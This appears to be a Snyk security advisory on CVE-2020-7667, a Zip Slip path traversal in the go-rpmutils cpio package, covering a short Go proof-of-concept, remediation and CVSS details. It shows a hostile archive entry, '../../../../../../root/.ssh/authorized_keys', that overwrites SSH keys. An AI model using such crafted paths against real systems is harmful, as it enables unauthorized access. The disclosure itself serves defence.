Arbitrary File Write via Archive Extraction (Zip Slip)

Affecting github.com/sassoftware/go-rpmutils/cpio package, versions <0.1.0

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Overview

github.com/sassoftware/go-rpmutils/cpio is a package for parsing and extracting content from RPM files.

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). The CPIO extraction functionality doesn't sanitize the paths of the archived files for leading and non-leading ".." which leads in file extraction outside of the current directory.

Note: the fixing commit was applied to all affected versions which were re-released.

PoC by Georgios Gkitsas of Snyk Security Team

Having a modified relative.cpio that includes relative paths:

package main

import (
    cpio "github.com/sassoftware/go-rpmutils/cpio"
    "os"
    "testing/iotest"
    "fmt"
)

func main() {
    file := "relative.cpio"

    f, err := os.Open(file)
    if err != nil {
        fmt.Println(err)
    }

    hf := iotest.HalfReader(f)
    if err := cpio.Extract(hf, "."); err != nil {
        fmt.Println(err)
    }
}

Details

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:


+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade github.com/sassoftware/go-rpmutils/cpio to version 0.1.0 or higher.

References

CVSS Score

7.5
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    None
  • Integrity
    High
  • Availability
    None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Credit
Georgios Gkitsas of Snyk Security Team
CVE
CVE-2020-7667
CWE
CWE-22
Snyk ID
SNYK-GOLANG-GITHUBCOMSASSOFTWAREGORPMUTILSCPIO-570427
Disclosed
27 May, 2020
Published
05 Jun, 2020